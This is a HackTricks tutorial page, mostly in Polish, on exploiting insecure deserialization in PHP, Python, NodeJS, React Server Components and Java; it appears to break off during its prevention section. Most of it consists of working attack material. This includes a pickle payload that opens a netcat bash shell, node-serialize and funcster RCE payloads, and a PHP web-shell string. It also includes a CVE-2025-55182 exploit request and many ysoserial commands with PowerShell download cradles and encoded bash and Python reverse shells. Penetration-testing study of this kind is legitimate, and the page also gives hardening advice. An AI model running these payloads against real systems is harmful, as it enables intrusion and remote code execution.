Deserialization

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

Serialization rozumiana jest jako metoda konwertowania obiektu do formatu, który można zachować, w celu zapisania obiektu lub przesłania go w ramach komunikacji. Technika ta jest powszechnie stosowana, aby zapewnić możliwość odtworzenia obiektu w późniejszym czasie, zachowując jego strukturę i stan.

Deserialization, przeciwnie, to proces przeciwny do serializacji. Polega na wzięciu danych sformatowanych w określony sposób i odtworzeniu ich z powrotem w obiekt.

Deserialization może być niebezpieczny, ponieważ potencjalnie pozwala atakującym manipulować danymi zserializowanymi w celu wykonania szkodliwego kodu lub powodować nieoczekiwane zachowanie aplikacji podczas procesu rekonstrukcji obiektu.

PHP

W PHP podczas procesów serialization i deserialization wykorzystywane są konkretne magiczne metody:

  • __sleep: Wywoływana, gdy obiekt jest serializowany. Ta metoda powinna zwrócić tablicę nazw wszystkich właściwości obiektu, które powinny być zserializowane. Często używana do zapisania oczekujących danych lub wykonania podobnych czynności porządkowych.
  • __wakeup: Wywoływana, gdy obiekt jest deserializowany. Służy do przywrócenia połączeń z bazą danych, które mogły zostać zerwane podczas serializacji, oraz do wykonywania innych zadań reinicjalizacyjnych.
  • __unserialize: Ta metoda jest wywoływana zamiast __wakeup (jeśli istnieje) podczas deserializacji obiektu. Daje większą kontrolę nad procesem deserializacji w porównaniu do __wakeup.
  • __destruct: Ta metoda jest wywoływana, gdy obiekt ma zostać zniszczony lub gdy skrypt się kończy. Zazwyczaj używana do zadań porządkowych, takich jak zamykanie uchwytów plików lub połączeń z bazą danych.
  • __toString: Ta metoda pozwala traktować obiekt jak string. Może być używana do odczytu pliku lub innych zadań w oparciu o wywołania funkcji w niej zawarte, efektywnie zapewniając tekstową reprezentację obiektu.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

If you look to the results you can see that the functions __wakeup and __destruct are called when the object is deserialized. Note that in several tutorials you will find that the __toString function is called when trying yo print some attribute, but apparently that’s not happening anymore.

Warning

Metoda __unserialize(array $data) jest wywoływana zamiast __wakeup(), jeśli została zaimplementowana w klasie. Pozwala ona odserializować obiekt, przekazując zserializowane dane jako tablicę. Możesz użyć tej metody do odserializowania właściwości i wykonania wszelkich niezbędnych zadań podczas deserializacji.

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

You can read an explained PHP example here: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, here https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf or here https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Możesz nadużyć mechanizmu autoload w PHP, aby załadować dowolne pliki php i nie tylko:

PHP - Deserialization + Autoload Classes

Serializing Referenced Values

Jeśli z jakiegoś powodu chcesz zserializować wartość jako referencję do innej zserializowanej wartości możesz:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

Zapobieganie PHP Object Injection za pomocą allowed_classes

[!INFO] Wsparcie dla drugiego argumentu unserialize() (tablica $options) zostało dodane w PHP 7.0. W starszych wersjach funkcja przyjmuje tylko zserializowany ciąg, co uniemożliwia ograniczenie, które klasy mogą zostać utworzone.

unserialize() będzie tworzyć instancję każdej klasy którą znajdzie w serializowanym strumieniu, chyba że powiedziano inaczej. Od PHP 7 zachowanie to można ograniczyć za pomocą opcji allowed_classes:

// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

Jeśli allowed_classes jest pominięte lub kod działa na PHP < 7.0, wywołanie staje się niebezpieczne, ponieważ atakujący może spreparować payload, który wykorzystuje magiczne metody takie jak __wakeup() lub __destruct() do osiągnięcia Remote Code Execution (RCE).

Przykład z prawdziwego świata: Everest Forms (WordPress) CVE-2025-52709

Wtyczka WordPress Everest Forms ≤ 3.2.2 próbowała zabezpieczać się przy pomocy helper wrappera, ale zapomniała o starszych wersjach PHP:

function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

Na serwerach, które wciąż działały na PHP ≤ 7.0, ta druga gałąź prowadziła do klasycznego PHP Object Injection, gdy administrator otworzył złośliwe zgłoszenie formularza. Minimalny exploit payload mógł wyglądać następująco:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

Gdy tylko administrator obejrzał wpis, obiekt został zainstancjonowany, a SomeClass::__destruct() zostało wywołane, co doprowadziło do wykonania dowolnego kodu.

Wnioski

  1. Zawsze przekazuj ['allowed_classes' => false] (lub ścisłą białą listę) przy wywoływaniu unserialize().
  2. Zweryfikuj warstwy obronne – często pomijają starsze gałęzie PHP.
  3. Aktualizacja do PHP ≥ 7.x sama w sobie nie wystarcza: opcja wciąż musi być podana jawnie.

PHPGGC (ysoserial for PHP)

PHPGGC może pomóc w generowaniu payloadów do wykorzystania w deserializacji PHP.
Zwróć uwagę, że w wielu przypadkach nie będziesz w stanie znaleźć sposobu na nadużycie deserializacji w kodzie źródłowym aplikacji, ale możesz być w stanie wykorzystać kod zewnętrznych rozszerzeń PHP.
Jeśli możesz, sprawdź phpinfo() serwera i przeszukaj internet (a nawet w gadgets PHPGGC) w poszukiwaniu potencjalnych gadgetów, które mógłbyś wykorzystać.

phar:// metadata deserialization

Jeśli znalazłeś LFI, które tylko odczytuje plik i nie wykonuje kodu PHP znajdującego się w środku, na przykład używając funkcji takich jak file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**, możesz spróbować wykorzystać deserializację zachodzącą podczas odczytu pliku przy użyciu protokołu phar.
Aby uzyskać więcej informacji, przeczytaj następujący wpis:

phar:// deserialization

Python

Pickle

Gdy obiekt zostanie unpickled, funkcja ___reduce___ zostanie wykonana.
Po wykorzystaniu serwer może zwrócić błąd.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Zanim sprawdzisz technikę obejścia, spróbuj użyć print(base64.b64encode(pickle.dumps(P(),2))), aby wygenerować obiekt kompatybilny z python2, jeśli używasz python3.

For more information about escaping from pickle jails check:

Bypass Python sandboxes

Yaml & jsonpickle

Następna strona przedstawia technikę wykorzystywania niebezpiecznej deserializacji w bibliotekach Pythona obsługujących YAML i kończy się narzędziem, które może być użyte do wygenerowania RCE deserialization payload dla Pickle, PyYAML, jsonpickle and ruamel.yaml:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python’s Prototype Pollution)

NodeJS

JS Magic Functions

JS doesn’t have “magic” functions like PHP or Python that are going to be executed just for creating an object. But it has some functions that are frequently used even without directly calling them such as toString, valueOf, toJSON.
If abusing a deserialization you can compromise these functions to execute other code (potentially abusing prototype pollutions) you could execute arbitrary code when they are called.

Another “magic” way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called “then” of type function, it will be executed just because it’s returned by another promise. Zobacz this link po więcej informacji.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

Jeśli chcesz poznać tę technikę zajrzyj do poniższego tutorialu:

NodeJS - proto & prototype Pollution

node-serialize

Ta biblioteka pozwala serializować funkcje. Przykład:

var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

Zserializowany obiekt będzie wyglądał następująco:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

W przykładzie widać, że gdy funkcja jest serializowana, flaga _$$ND_FUNC$$_ jest dołączana do serializowanego obiektu.

W pliku node-serialize/lib/serialize.js znajdziesz tę samą flagę i sposób, w jaki kod jej używa.

Jak widać w ostatnim fragmencie kodu, jeśli flaga zostanie znaleziona, do deserializacji funkcji używany jest eval, więc w praktyce wejście użytkownika jest używane wewnątrz funkcji eval.

Jednak samo serializowanie funkcji jej nie wykona, ponieważ konieczne byłoby, żeby jakaś część kodu wywoływała y.rce w naszym przykładzie, a to jest wysoce mało prawdopodobne.
Tak czy inaczej, możesz po prostu zmodyfikować serializowany obiekt, dodając nawiasy, aby automatycznie wykonać zserializowaną funkcję podczas deserializacji obiektu.
W następnym fragmencie kodu zwróć uwagę na ostatni nawias i na to, jak funkcja unserialize automatycznie wykona kod:

var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

Jak wskazano wcześniej, ta biblioteka pobierze kod po _$$ND_FUNC$$_ i będzie go wykonywać używając eval. W związku z tym, aby automatycznie wykonać kod, możesz usunąć część tworzącą funkcję i ostatni nawias oraz po prostu uruchomić JS oneliner jak w poniższym przykładzie:

var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

Możesz find here further information na temat tego, jak wykorzystać tę podatność.

funcster

Jednym z istotnych aspektów działania funcster jest brak dostępu do standardowych obiektów wbudowanych; znajdują się one poza dostępnym zakresem. To ograniczenie uniemożliwia uruchamianie kodu próbującego wywoływać metody na obiektach wbudowanych, co prowadzi do wyjątków takich jak “ReferenceError: console is not defined” gdy używane są polecenia takie jak console.log() lub require(something).

Mimo tego ograniczenia możliwe jest przywrócenie pełnego dostępu do kontekstu globalnego, włącznie ze wszystkimi standardowymi obiektami wbudowanymi, przy użyciu określonego podejścia. Poprzez bezpośrednie wykorzystanie kontekstu globalnego można obejść to ograniczenie. Na przykład dostęp można przywrócić za pomocą następującego fragmentu:

funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

Aby uzyskać więcej informacji przeczytaj to źródło.

serialize-javascript

Pakiet serialize-javascript jest przeznaczony wyłącznie do celów serializacji i nie posiada żadnych wbudowanych możliwości deserializacji. Użytkownicy są odpowiedzialni za implementację własnej metody deserializacji. W oficjalnym przykładzie dotyczącym deserializacji zserializowanych danych sugerowane jest bezpośrednie użycie eval:

function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

Jeśli ta funkcja jest używana do deserialize obiektów, możesz ją łatwo wykorzystać:

var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Dla more information read this source.

Cryo library

W kolejnych stronach znajdziesz informacje o tym, jak nadużyć tej biblioteki, aby wykonywać dowolne polecenia:

React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)

React Server Components (RSC) polegają na react-server-dom-webpack (RSDW) do dekodowania zgłoszeń server action wysyłanych jako multipart/form-data. Każde zgłoszenie akcji zawiera:

  • części $ACTION_REF_<n>, które odnoszą się do wywoływanej akcji.
  • części $ACTION_<n>:<m>, których ciało jest JSON-em takim jak {"id":"module-path#export","bound":[arg0,arg1,...]}.

W wersji 19.2.0 helper decodeAction(formData, serverManifest) bezrefleksyjnie ufa zarówno ciągowi id (wybierającemu, który export modułu wywołać), jak i tablicy bound (argumentom). Jeśli attacker może dotrzeć do endpointu, który przekazuje żądania do decodeAction, attacker może wywołać dowolny eksportowany server action z parametrami kontrolowanymi przez attackera, nawet bez front-endu React (CVE-2025-55182). Pełna procedura jest następująca:

  1. Poznaj identyfikator akcji. Bundle output, error traces lub leaked manifests zazwyczaj ujawniają ciągi takie jak app/server-actions#generateReport.
  2. Odtwórz multipart payload. Utwórz część $ACTION_REF_0 oraz część $ACTION_0:0 z ciałem JSON zawierającym identyfikator i dowolne argumenty.
  3. Niech decodeAction to obsłuży. Helper rozwiązuje moduł z serverManifest, importuje export i zwraca wywoływalny obiekt, który serwer natychmiast wykonuje.

Przykładowy payload trafiający do /formaction:

POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--

Albo z użyciem curl:

curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'

Tablica bound bezpośrednio wypełnia parametry server-action. W podatnym laboratorium gadget wygląda tak:

const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);

async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}

Dostarczając format = "pdf & whoami" powoduje, że /bin/sh -c uruchamia prawidłowy generator raportów, a następnie whoami, przy czym oba wyniki są zwracane wewnątrz JSON-owej odpowiedzi akcji. Każda akcja serwera (server action) opakowująca operacje na systemie plików, sterowniki baz danych lub inne interpretery może zostać wykorzystana w ten sam sposób, gdy atakujący przejmie kontrolę nad danymi bound.

Atakujący nigdy nie potrzebuje prawdziwego klienta React — dowolne narzędzie HTTP emitujące multipart o kształcie $ACTION_* może bezpośrednio wywołać server actions i połączyć wynikowy JSON w RCE primitive.

Java - HTTP

W Javie, wywołania zwrotne deserializacji są wykonywane w trakcie procesu deserializacji. To wykonanie może zostać wykorzystane przez atakujących, którzy przygotują złośliwe payloady wywołujące te callbacki, prowadząc do potencjalnego wykonania szkodliwych akcji.

Fingerprints

White Box

Aby zidentyfikować potencjalne luki związane z serializacją w kodzie, wyszukaj:

  • Klasy implementujące interfejs Serializable.
  • Użycie java.io.ObjectInputStream, funkcji readObject, readUnshare.

Zwróć szczególną uwagę na:

  • XMLDecoder używany z parametrami określanymi przez zewnętrznych użytkowników.
  • Metodę fromXML z XStream, zwłaszcza jeśli wersja XStream jest mniejsza lub równa 1.46, ponieważ jest podatna na problemy związane z serializacją.
  • ObjectInputStream w połączeniu z metodą readObject.
  • Implementacje metod takich jak readObject, readObjectNodData, readResolve lub readExternal.
  • ObjectInputStream.readUnshared.
  • Ogólne użycie Serializable.

Black Box

W testach black box szukaj konkretnych sygnatur lub “Magic Bytes”, które oznaczają java serialized objects (pochodzące z ObjectInputStream):

  • Wzorzec szesnastkowy: AC ED 00 05.
  • Wzorzec base64: rO0.
  • Nagłówki HTTP z Content-type ustawionym na application/x-java-serialized-object.
  • Wzorzec szesnastkowy wskazujący na wcześniejsze skompresowanie: 1F 8B 08 00.
  • Wzorzec base64 wskazujący na wcześniejsze skompresowanie: H4sIA.
  • Pliki webowe z rozszerzeniem .faces oraz parametr faces.ViewState. Odkrycie tych wzorców w aplikacji webowej powinno skłonić do przeprowadzenia analizy opisanej w poście o Java JSF ViewState Deserialization: {#ref}java-jsf-viewstate-.faces-deserialization.md{#endref}.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Sprawdź, czy jest podatny

Jeśli chcesz dowiedzieć się, jak działa Java Deserialized exploit, powinieneś zapoznać się z Basic Java Deserialization, Java DNS Deserialization, i CommonsCollection1 Payload.

SignedObject-gated deserialization and pre-auth reachability

Współczesne bazy kodu czasami opakowują deserializację za pomocą java.security.SignedObject i sprawdzają sygnaturę przed wywołaniem getObject() (które deserializuje wewnętrzny obiekt). To uniemożliwia użycie dowolnych top-level gadget classes, ale nadal może być wykorzystywane, jeśli atakujący zdobędzie ważną sygnaturę (np. kompromitacja private key lub signing oracle). Dodatkowo ścieżki obsługi błędów mogą wygenerować tokeny powiązane z sesją dla niezalogowanych użytkowników, odsłaniając w ten sposób inaczej chronione sinks pre-auth.

Dla konkretnego studium przypadku z requestami, IoCs i wskazówkami dotyczącymi hardeningu, zobacz:

Java Signedobject Gated Deserialization

White Box Test

Możesz sprawdzić, czy jest zainstalowana jakaś aplikacja z znanymi podatnościami.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Możesz spróbować sprawdzić wszystkie biblioteki znane jako podatne i dla których Ysoserial może dostarczyć exploit. Albo możesz sprawdzić biblioteki wskazane na Java-Deserialization-Cheat-Sheet.
Możesz też użyć gadgetinspector aby wyszukać możliwe gadget chains, które można wykorzystać.
Uruchamiając gadgetinspector (po jego zbudowaniu) nie przejmuj się mnóstwem warningów/błędów, przez które przechodzi i pozwól mu się zakończyć. Zapisze wszystkie wyniki w gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Zwróć uwagę, że gadgetinspector nie stworzy exploita i może wskazywać false positives.

Test Black Box

Używając rozszerzenia Burp gadgetprobe możesz zidentyfikować które biblioteki są dostępne (a nawet ich wersje). Z tą informacją może być łatwiej dobrać payload do exploitowania podatności.
Przeczytaj to, aby dowiedzieć się więcej o GadgetProbe.
GadgetProbe jest skupiony na deserializacjach ObjectInputStream.

Używając rozszerzenia Burp Java Deserialization Scanner możesz zidentyfikować biblioteki podatne wykorzystalne z użyciem ysoserial i exploitować je.
Przeczytaj to, aby dowiedzieć się więcej o Java Deserialization Scanner.
Java Deserialization Scanner jest skupiony na deserializacjach ObjectInputStream.

Możesz także użyć Freddy aby wykrywać podatności deserializacji w Burp. Ten plugin wykryje nie tylko podatności związane z ObjectInputStream, ale również podatności w bibliotekach deserializacji Json i Yml. W trybie aktywnym będzie próbował je potwierdzić przy użyciu payloadów typu sleep lub DNS.
Więcej informacji o Freddy tutaj.

Serialization Test

Nie chodzi tylko o sprawdzenie, czy serwer używa jakiejś podatnej biblioteki. Czasami możesz być w stanie zmienić dane wewnątrz zserializowanego obiektu i obejść pewne kontrole (może to przyznać Ci uprawnienia admina w aplikacji webowej).
Jeśli znajdziesz java serialized object wysyłany do aplikacji webowej, możesz użyć SerializationDumper aby wypisać w bardziej czytelnym formacie zserializowany obiekt, który jest wysyłany. Znając dane, które wysyłasz, łatwiej będzie je zmodyfikować i obejść pewne kontrole.

Exploit

ysoserial

Głównym narzędziem do exploitowania deserializacji Javy jest ysoserial (download here). Możesz także rozważyć użycie ysoseral-modified, które pozwoli Ci uruchamiać złożone polecenia (np. z pipes).
Zwróć uwagę, że to narzędzie jest skoncentrowane na exploitowaniu ObjectInputStream.
Zalecałbym zacząć od użycia payloadu “URLDNS” przed payloadem RCE, aby sprawdzić, czy wstrzyknięcie jest możliwe. Pamiętaj jednak, że payload “URLDNS” może nie działać, podczas gdy inny payload RCE zadziała.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Kiedy tworzysz payload dla java.lang.Runtime.exec() nie możesz używać znaków specjalnych takich jak “>” czy “|” do przekierowania wyjścia wykonania, “$()” do wykonywania poleceń ani nawet przekazywać argumentów do polecenia rozdzielonych spacjami (możesz zrobić echo -n "hello world" ale nie możesz zrobić python2 -c 'print "Hello world"'). Aby poprawnie zakodować payload możesz skorzystać z tej strony.

Możesz użyć poniższego skryptu, aby stworzyć all the possible code execution payloads dla Windows i Linux, a następnie przetestować je na podatnej stronie internetowej:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Możesz użyć https://github.com/pwntester/SerialKillerBypassGadgetCollection wraz z ysoserial, aby stworzyć więcej exploits. Więcej informacji o tym narzędziu w slajdach prezentacji, w której narzędzie zostało przedstawione: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec może być użyty do generowania payloads do wykorzystania różnych bibliotek serializacji Json i Yml w Java.
W celu skompilowania projektu musiałem dodać te zależności do pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Zainstaluj maven, i skompiluj projekt:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Przeczytaj więcej o tej bibliotece Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Laboratoria

Dlaczego

Java używa dużo serializacji do różnych celów, takich jak:

  • HTTP requests: Serializacja jest powszechnie stosowana w zarządzaniu parametrami, ViewState, cookies itp.
  • RMI (Remote Method Invocation): Protokół Java RMI, który opiera się w całości na serializacji, jest podstawą komunikacji zdalnej w aplikacjach Java.
  • RMI over HTTP: Ta metoda jest powszechnie używana przez aplikacje webowe typu thick client oparte na Javie, wykorzystując serializację do całej komunikacji obiektowej.
  • JMX (Java Management Extensions): JMX wykorzystuje serializację do przesyłania obiektów przez sieć.
  • Custom Protocols: W Javie standardową praktyką jest przesyłanie surowych obiektów Java, co zostanie pokazane w nadchodzących exploit examples.

Zapobieganie

Transient objects

Klasa, która implementuje Serializable, może oznaczyć jako transient każdy obiekt wewnątrz klasy, który nie powinien być serializowany. Na przykład:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Unikaj serializacji klasy, która musi implementować Serializable

W scenariuszach, gdzie niektóre obiekty muszą implementować Serializable z powodu hierarchii klas, istnieje ryzyko niezamierzonej deserializacji. Aby temu zapobiec, upewnij się, że te obiekty są nie-deserializowalne, definiując final metodę readObject(), która zawsze zgłasza wyjątek, jak pokazano poniżej:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Wzmacnianie bezpieczeństwa deserializacji w Javie

Dostosowanie java.io.ObjectInputStream jest praktycznym podejściem do zabezpieczenia procesów deserializacji. Ta metoda nadaje się, gdy:

  • Kod deserializacji jest pod Twoją kontrolą.
  • Klasy spodziewane podczas deserializacji są znane.

